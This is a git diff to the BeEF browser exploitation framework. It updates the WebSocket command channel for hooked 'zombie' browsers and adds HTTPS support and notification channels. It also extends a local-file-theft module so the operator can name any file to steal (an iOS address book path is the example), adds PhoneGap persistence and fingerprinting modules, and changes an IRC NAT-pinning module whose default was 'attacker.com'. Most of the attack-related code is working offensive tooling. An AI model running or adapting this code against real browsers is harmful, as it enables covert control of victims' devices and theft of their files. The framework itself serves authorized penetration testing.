+ # msg_hash = JSON.parse("#{msg}")
+ # #@note messageHash[result] is Base64 encoded
+ # if (msg_hash["cookie"]!= nil)
+ # print_debug("WebSocket-secured - Browser says helo! WebSocket is running")
+ # #insert new connection in activesocket
+ # @@activeSocket["#{msg_hash["cookie"]}"] = ws
+ # print_debug("WebSocket-secured - activeSocket content [#{@@activeSocket}]")
+ # elsif msg_hash["alive"] != nil
+ # hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"])
+ # unless hooked_browser.nil?
+ # hooked_browser.lastseen = Time.new.to_i
+ # hooked_browser.count!
+ # hooked_browser.save
+ #
+ # #Check if new modules need to be sent
+ # zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
+ # zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }
+ #
+ # #@todo antisnatchor:
+ # #@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions
+ # #Check if new forged requests need to be sent (Requester/TunnelingProxy)
+ # dhook = BeEF::Extension::Requester::API::Hook.new
+ # dhook.requester_run(hooked_browser, '')
+ #
+ # #Check if new XssRays scan need to be started
+ # xssrays = BeEF::Extension::Xssrays::API::Scan.new
+ # xssrays.start_scan(hooked_browser, '')
+ # end
+ # else
+ # #json recv is a cmd response decode and send all to
+ # #we have to call dynamicreconstructor handler camp must be websocket
+ # #print_debug("Received from WebSocket #{messageHash}")
+ # execute(msg_hash)
+ # end
+ # }
+ # rescue Exception => e
+ # print_error "WebSocket-secured error: #{e}"
+ # end
+ # end
+ # }
+ #
+ # }
+ #
+ ##Thread for websocket
+ #Thread.new {
+ # port = @@config.get("beef.http.websocket.port")
+ # sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets
+ # EventMachine.run {
+ #
+ # wsopt = {:host => "0.0.0.0", :port => port}
+ #
+ #
+ # EventMachine::WebSocket.start(wsopt) do |ws|
+ # begin
+ # print_debug "New WebSocket channel open."
+ # ws.onmessage { |msg|
+ # msg_hash = JSON.parse("#{msg}")
+ # #@note messageHash[result] is Base64 encoded
+ # if (msg_hash["cookie"]!= nil)
+ # print_debug("WebSocket - Browser says helo! WebSocket is running")
+ # #insert new connection in activesocket
+ # @@activeSocket["#{msg_hash["cookie"]}"] = ws
+ # print_debug("WebSocket - activeSocket content [#{@@activeSocket}]")
+ # elsif msg_hash["alive"] != nil
+ # hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => msg_hash["alive"])
+ # unless hooked_browser.nil?
+ # hooked_browser.lastseen = Time.new.to_i
+ # hooked_browser.count!
+ # hooked_browser.save
+ #
+ # #Check if new modules need to be sent
+ # zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
+ # zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }
+ #
+ # #@todo antisnatchor:
+ # #@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions
+ # #Check if new forged requests need to be sent (Requester/TunnelingProxy)
+ # dhook = BeEF::Extension::Requester::API::Hook.new
+ # dhook.requester_run(hooked_browser, '')
+ #
+ # #Check if new XssRays scan need to be started
+ # xssrays = BeEF::Extension::Xssrays::API::Scan.new
+ # xssrays.start_scan(hooked_browser, '')
+ # end
+ # else
+ # #json recv is a cmd response decode and send all to
+ # #we have to call dynamicreconstructor handler camp must be websocket
+ # #print_debug("Received from WebSocket #{messageHash}")
+ # execute(msg_hash)
+ # end
+ # }
+ # rescue Exception => e
+ # print_error "WebSocket error: #{e}"
+ # end
+ # end
+ # }
+ #}
+
+
+ end
+
+ def start_websocket_server(ws_options, secure)
Thread.new {
sleep 2 # prevent issues when starting at the same time the TunnelingProxy, Thin and Evented WebSockets
- EventMachine.run { #todo antisnatchor: add support for WebSocket secure (new object with different config options, then start)
- EventMachine::WebSocket.start(:host => "0.0.0.0", :port => port) do |ws|
+ EventMachine.run {
+ EventMachine::WebSocket.start(ws_options) do |ws|
begin
- print_debug "New WebSocket channel open."
+ secure ? print_debug("New WebSocketSecure channel open.") : print_debug("New WebSocket channel open.")
ws.onmessage { |msg|
msg_hash = JSON.parse("#{msg}")
#@note messageHash[result] is Base64 encoded
@@ -80,7 +219,6 @@ module BeEF
end
}
}
-
end
#@note retrieve the right websocket channel given an hooked browser session
@@ -115,7 +253,7 @@ module BeEF
handler = data["handler"]
if handler.match(/command/)
BeEF::Core::Models::Command.save_result(hooked_browser, data["cid"],
- @@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results)
+ @@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results)
else #processing results from extensions, call the right handler
data["beefhook"] = hooked_browser
data["results"] = JSON.parse(Base64.decode64(data["result"]))
diff --git a/core/main/server.rb b/core/main/server.rb
index d15ad9198..b8ba556fd 100644
--- a/core/main/server.rb
+++ b/core/main/server.rb
@@ -48,7 +48,8 @@ module BeEF
'beef_public' => @configuration.get('beef.http.public'),
'beef_public_port' => @configuration.get('beef.http.public_port'),
'beef_dns' => @configuration.get('beef.http.dns'),
- 'beef_hook' => @configuration.get('beef.http.hook_file')
+ 'beef_hook' => @configuration.get('beef.http.hook_file'),
+ 'beef_proto' => @configuration.get('beef.http.https.enable') == true ? "https" : "http"
}
end
@@ -108,6 +109,13 @@ module BeEF
@configuration.get('beef.http.host'),
@configuration.get('beef.http.port'),
@rack_app)
+
+ if @configuration.get('beef.http.https.enable') == true
+ @http_server.ssl = true
+ @http_server.ssl_options = {:private_key_file => $root_dir + "/" + @configuration.get('beef.http.https.key'),
+ :cert_chain_file => $root_dir + "/" + @configuration.get('beef.http.https.cert'),
+ :verify_peer => false}
+ end
end
end
diff --git a/extensions/console/lib/command_dispatcher/core.rb b/extensions/console/lib/command_dispatcher/core.rb
index 09108cc88..a7e7905b6 100644
--- a/extensions/console/lib/command_dispatcher/core.rb
+++ b/extensions/console/lib/command_dispatcher/core.rb
@@ -308,7 +308,7 @@ class Core
if driver.interface.targetid.length > 1
driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ")
else
- driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] ")
+ driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ")
end
end
diff --git a/extensions/evasion/config.yaml b/extensions/evasion/config.yaml
index c75031da8..712989a31 100644
--- a/extensions/evasion/config.yaml
+++ b/extensions/evasion/config.yaml
@@ -19,10 +19,11 @@ beef:
enable: true
name: 'Evasion'
authors: ["antisnatchor"]
+ exclude_core_js: ["lib/jquery-1.5.2.min.js", "lib/json2.js", "lib/jools.min.js"]
scramble_variables: true
scramble_cookies: true
scramble:
beef: "beef"
Beef: "Beef"
evercookie: "evercookie"
- chain: ["scramble", "minify", "base_64"]
+ chain: ["scramble", "minify"]
diff --git a/extensions/notifications/channels/email.rb b/extensions/notifications/channels/email.rb
new file mode 100644
index 000000000..fa49f024f
--- /dev/null
+++ b/extensions/notifications/channels/email.rb
@@ -0,0 +1,60 @@
+#
+# Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+#
+#
+require 'net/smtp'
+
+module BeEF
+module Extension
+module Notifications
+module Channels
+
+ class Email
+
+ #
+ # Constructor
+ #
+ def initialize(to_address, message)
+ @config = BeEF::Core::Configuration.instance
+ @from_address = @config.get('beef.extension.notifications.email.from_address')
+ @smtp_host = @config.get('beef.extension.notifications.email.smtp_host')
+ @smtp_port = @config.get('beef.extension.notifications.email.smtp_port')
+ @smtp_tls_enable = @config.get('beef.extension.notifications.email.smtp_tls_enable')
+ @password = @config.get('beef.extension.notifications.email.smtp_tls_password')
+
+ # configure the email client
+ msg = "Subject: BeEF Notification\n\n" + message
+ smtp = Net::SMTP.new @smtp_host, @smtp_port
+ #if @smtp_tls_enable?
+ # smtp.enable_starttls
+ # smtp.start('beefproject.com', @from_address, @password, :login) do
+ # smtp.send_message(msg, @from_address, @to_address)
+ # end
+ #else
+ smtp.start do
+ smtp.send_message(msg, @from_address, to_address)
+ end
+ #end
+
+ end
+
+ end
+
+end
+end
+end
+end
+
diff --git a/extensions/notifications/channels/tweet.rb b/extensions/notifications/channels/tweet.rb
new file mode 100644
index 000000000..9f0ce6747
--- /dev/null
+++ b/extensions/notifications/channels/tweet.rb
@@ -0,0 +1,53 @@
+#
+# Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+#
+#
+require 'twitter'
+
+module BeEF
+module Extension
+module Notifications
+module Channels
+
+ class Tweet
+
+ #
+ # Constructor
+ #
+ def initialize(username, message)
+ @config = BeEF::Core::Configuration.instance
+
+ # configure the Twitter client
+ Twitter.configure do |config|
+ config.consumer_key = @config.get('beef.extension.notifications.twitter.consumer_key')
+ config.consumer_secret = @config.get('beef.extension.notifications.twitter.consumer_secret')
+ config.oauth_token = @config.get('beef.extension.notifications.twitter.oauth_token')
+ config.oauth_token_secret = @config.get('beef.extension.notifications.twitter.oauth_token_secret')
+ end
+
+ begin
+ Twitter.direct_message_create(username, message)
+ rescue
+ print "Twitter send failed, verify tokens have Read/Write/DM acceess..\n"
+ end
+ end
+ end
+
+end
+end
+end
+end
+
diff --git a/extensions/notifications/config.yaml b/extensions/notifications/config.yaml
new file mode 100644
index 000000000..925921522
--- /dev/null
+++ b/extensions/notifications/config.yaml
@@ -0,0 +1,33 @@
+#
+# Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+beef:
+ extension:
+ notifications:
+ enable: false
+ name: Notifications
+ twitter:
+ enable: false
+ consumer_key: app_consumer_key
+ consumer_secret: app_consumer_secret
+ oauth_token: your_oauth_token_for_this_app
+ oauth_token_secret: your_oauth_token_secret_for_this_app
+ target_username:
+ email:
+ enable: false
+ from_address: sender_email_address
+ to_address: receipient_email_address
+ smtp_host: 127.0.0.1
+ smtp_port: 25
diff --git a/extensions/notifications/extension.rb b/extensions/notifications/extension.rb
new file mode 100644
index 000000000..d5c5c04c8
--- /dev/null
+++ b/extensions/notifications/extension.rb
@@ -0,0 +1,30 @@
+#
+# Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+module BeEF
+module Extension
+module Notifications
+
+ extend BeEF::API::Extension
+
+ @short_name = 'notifications'
+ @full_name = 'Notifications'
+ @description = 'Generates external notifications for events in BeEF'
+
+end
+end
+end
+
+require 'extensions/notifications/notifications'
diff --git a/extensions/notifications/notifications.rb b/extensions/notifications/notifications.rb
new file mode 100644
index 000000000..b9e5cbb94
--- /dev/null
+++ b/extensions/notifications/notifications.rb
@@ -0,0 +1,57 @@
+#
+# Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+require 'extensions/notifications/channels/tweet'
+require 'extensions/notifications/channels/email'
+
+module BeEF
+module Extension
+module Notifications
+
+ #
+ # Notifications class
+ #
+ class Notifications
+
+ def initialize(from, event, time_now, hb)
+ @config = BeEF::Core::Configuration.instance
+ if @config.get('beef.extension.notifications.enable') == false
+ # notifications are not enabled
+ return nil
+ else
+ @from = from
+ @event = event
+ @time_now = time_now
+ @hb = hb
+ end
+
+ message = "#{from} #{event} #{time_now} #{hb}"
+
+ if @config.get('beef.extension.notifications.twitter.enable') == true
+ username = @config.get('beef.extension.notifications.twitter.target_username')
+ BeEF::Extension::Notifications::Channels::Tweet.new(username,message)
+ end
+
+ if @config.get('beef.extension.notifications.email.enable') == true
+ to_address = @config.get('beef.extension.notifications.email.to_address')
+ BeEF::Extension::Notifications::Channels::Email.new(to_address,message)
+ end
+ end
+
+ end
+
+end
+end
+end
diff --git a/modules/misc/local_file_theft/command.js b/modules/misc/local_file_theft/command.js
index 148f79d8f..614cdc659 100644
--- a/modules/misc/local_file_theft/command.js
+++ b/modules/misc/local_file_theft/command.js
@@ -86,6 +86,16 @@ result = '';
}
}
+ fileList['custom']= {
+ // user defined
+ "discover" :'',
+
+ "post" :{
+ 'result':'<%== @target_file %>',
+ }
+ }
+
+
functionList = {
mac:{
// OS X disovery
@@ -138,11 +148,25 @@ result = '';
grabFiles(homedir,"ios")
}
}
-
- alert("ipad")
+ return true;
}
},
+ custom:{
+ // Grab custom stuff
+ discover : function(){
+ tmp = new XMLHttpRequest()
+ tmp.open('get',fileList['custom']['discover'])
+ tmp.send()
+ tmp.onreadystatechange=function(){
+ if(tmp.readyState==4){
+ homedir = "file:///";
+ grabFiles(homedir,"custom")
+ }
+ }
+ return true;
+ }
+ },
android:{
// figure out what app (gmail, browser, or dolphin?) android
discover : function(){
@@ -172,19 +196,27 @@ result = '';
function identify(){
- if(/.*Android.*/.test(navigator.userAgent)){
- return "android"
- } else if(/Linux.*/i.test(navigator.platform)){
- return "linux"
- } else if(/iP.*/i.test(navigator.platform)){
- return "ios"
- } else if(/.*Mac.*/i.test(navigator.userAgent)){
- return "mac"
- } else if(/.*Windows.*/i.test(navigator.userAgent)){
- return "windows"
- } else if(/.*hpwOS.*/i.test(navigator.platform)){
- return "webos"
- }
+
+ // custom file is specified
+ if ('<%== @target_file %>' != 'autodetect') {
+ return "custom"
+
+ // determine a good file to steal based on platform
+ } else {
+ if(/.*Android.*/.test(navigator.userAgent)){
+ return "android"
+ } else if(/Linux.*/i.test(navigator.platform)){
+ return "linux"
+ } else if(/iP.*/i.test(navigator.platform)){
+ return "ios"
+ } else if(/.*Mac.*/i.test(navigator.userAgent)){
+ return "mac"
+ } else if(/.*Windows.*/i.test(navigator.userAgent)){
+ return "windows"
+ } else if(/.*hpwOS.*/i.test(navigator.platform)){
+ return "webos"
+ }
+ }
}
diff --git a/modules/misc/local_file_theft/module.rb b/modules/misc/local_file_theft/module.rb
index d75a3d236..20dd2a5a9 100644
--- a/modules/misc/local_file_theft/module.rb
+++ b/modules/misc/local_file_theft/module.rb
@@ -19,6 +19,16 @@
class Local_file_theft < BeEF::Core::Command
+ def self.options
+ return [
+ {'name' => 'target_file',
+ 'description' => 'The full path to the local file to steal e.g. file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb',
+ 'ui_label' => 'Target file',
+ 'value' => 'autodetect'
+ }
+ ]
+ end
+
def post_execute
content = {}
content['result'] = @datastore['result']
diff --git a/modules/network/nat_pinning_irc/command.js b/modules/network/nat_pinning_irc/command.js
index 7debb8fe8..4caef4fef 100644
--- a/modules/network/nat_pinning_irc/command.js
+++ b/modules/network/nat_pinning_irc/command.js
@@ -25,7 +25,7 @@ beef.execute(function() {
var myIframe = beef.dom.createInvisibleIframe();
var myForm = document.createElement("form");
- var action = connectto + ":6667/"
+ var action = "http://" + connectto + ":6667/"
myForm.setAttribute("name", "data");
myForm.setAttribute("method", "post");
diff --git a/modules/network/nat_pinning_irc/module.rb b/modules/network/nat_pinning_irc/module.rb
index 4a411204a..a934c79da 100644
--- a/modules/network/nat_pinning_irc/module.rb
+++ b/modules/network/nat_pinning_irc/module.rb
@@ -20,8 +20,11 @@ class Irc_nat_pinning < BeEF::Core::Command
end
def self.options
+ @configuration = BeEF::Core::Configuration.instance
+ beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
+
return [
- {'name'=>'connectto', 'ui_label' =>'Connect to','value'=>'http://attacker.com'},
+ {'name'=>'connectto', 'ui_label' =>'Connect to','value'=>beef_host},
{'name'=>'privateip', 'ui_label' =>'Private IP','value'=>'192.168.0.100'},
{'name'=>'privateport', 'ui_label' =>'Private Port','value'=>'22'}
]
diff --git a/modules/phonegap/phonegap_check_connection/command.js b/modules/phonegap/phonegap_check_connection/command.js
new file mode 100644
index 000000000..470ab3638
--- /dev/null
+++ b/modules/phonegap/phonegap_check_connection/command.js
@@ -0,0 +1,37 @@
+//
+// Copyright 2012 Wade Alcorn wade@bindshell.net
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+beef.execute(function() {
+ var connection_type;
+
+ getConnectionType = function() {
+ var states = {};
+ states[Connection.UNKNOWN] = 'Unknown connection';
+ states[Connection.ETHERNET] = 'Ethernet connection';
+ states[Connection.WIFI] = 'WiFi connection';
+ states[Connection.CELL_2G] = 'Cell 2G connection';
+ states[Connection.CELL_3G] = 'Cell 3G connection';
+ states[Connection.CELL_4G] = 'Cell 4G connection';
+ states[Connection.NONE] = 'No network connection';
+ return states[navigator.network.connection.type];
+ }
+
+ try {
+ connection_type = getConnectionType();
+ } catch(e) {
+ connection_type = "Unable to determine connection type."
+ }
+
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "connection_type="+connection_type);
+});
diff --git a/modules/phonegap/phonegap_check_connection/config.yaml b/modules/phonegap/phonegap_check_connection/config.yaml
new file mode 100644
index 000000000..37ebf924b
--- /dev/null
+++ b/modules/phonegap/phonegap_check_connection/config.yaml
@@ -0,0 +1,27 @@
+#
+# Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+# phonegap
+#
+beef:
+ module:
+ phonegap_check_connection:
+ enable: true
+ category: "Phonegap"
+ name: "Check connection"
+ description: "Find out connection type e.g. Wifi, 3G.."
+ authors: ["mh"]
+ target:
+ working: ["All"]
diff --git a/modules/phonegap/phonegap_check_connection/module.rb b/modules/phonegap/phonegap_check_connection/module.rb
new file mode 100644
index 000000000..708c0d384
--- /dev/null
+++ b/modules/phonegap/phonegap_check_connection/module.rb
@@ -0,0 +1,27 @@
+#
+# Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+# phonegap
+#
+
+class Phonegap_check_connection < BeEF::Core::Command
+
+ def post_execute
+ content = {}
+ content['result'] = @datastore['result']
+ save content
+ end
+
+end
diff --git a/modules/phonegap/phonegap_detect/command.js b/modules/phonegap/phonegap_detect/command.js
index 1c0ae566b..bc062c00c 100644
--- a/modules/phonegap/phonegap_detect/command.js
+++ b/modules/phonegap/phonegap_detect/command.js
@@ -23,6 +23,7 @@ beef.execute(function() {
phonegap_details = ""
+ " name: " + device.name
+ " phonegap api: " + device.phonegap
+ + " cordova api: " + device.cordova
+ " platform: " + device.platform
+ " uuid: " + device.uuid
+ " version: " + device.version;
diff --git a/modules/phonegap/phonegap_persist_resume/command.js b/modules/phonegap/phonegap_persist_resume/command.js
new file mode 100644
index 000000000..39bb9ed7e
--- /dev/null
+++ b/modules/phonegap/phonegap_persist_resume/command.js
@@ -0,0 +1,31 @@
+//
+// Copyright 2012 Wade Alcorn wade@bindshell.net
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//
+// persist on over app's sleep/wake events
+beef.execute(function() {
+ var result;
+
+ try {
+ document.addEventListener("resume", beef_init(), false);
+ result = 'success';
+
+ } catch (e) {
+ for(var n in e) {
+ result+= n + " " + e[n] + "\n";
+ }
+ }
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result);
+});
diff --git a/modules/phonegap/phonegap_persist_resume/config.yaml b/modules/phonegap/phonegap_persist_resume/config.yaml
new file mode 100644
index 000000000..0d08526ab
--- /dev/null
+++ b/modules/phonegap/phonegap_persist_resume/config.yaml
@@ -0,0 +1,27 @@
+#
+# Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+# persist on over app's sleep/wake events
+beef:
+ module:
+ phonegap_persist_resume:
+ enable: true
+ category: "Phonegap"
+ name: "Persist resume"
+ description: "Persist over applications sleep/wake events"
+ authors: ["mh"]
+ target:
+ working: ["All"]
diff --git a/modules/phonegap/phonegap_persist_resume/module.rb b/modules/phonegap/phonegap_persist_resume/module.rb
new file mode 100644
index 000000000..bef0ca663
--- /dev/null
+++ b/modules/phonegap/phonegap_persist_resume/module.rb
@@ -0,0 +1,26 @@
+#
+# Copyright 2012 Wade Alcorn wade@bindshell.net
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+# persist on over app's sleep/wake events
+class Phonegap_persist_resume < BeEF::Core::Command
+
+ def post_execute
+ content = {}
+ content['result'] = @datastore['result']
+ save content
+ end
+
+end
diff --git a/modules/social_engineering/fake_flash_update/config.yaml b/modules/social_engineering/fake_flash_update/config.yaml
index 78131d2c4..ad567c783 100644
--- a/modules/social_engineering/fake_flash_update/config.yaml
+++ b/modules/social_engineering/fake_flash_update/config.yaml
@@ -19,7 +19,7 @@ beef:
enable: true
category: "Social Engineering"
name: "Fake Flash Update"
- description: "Prompts the user to install an update to Adobe Flash Player.
The default install file is a Chrome extension.
A chrome extenstion has privileged access and can do a whole lot..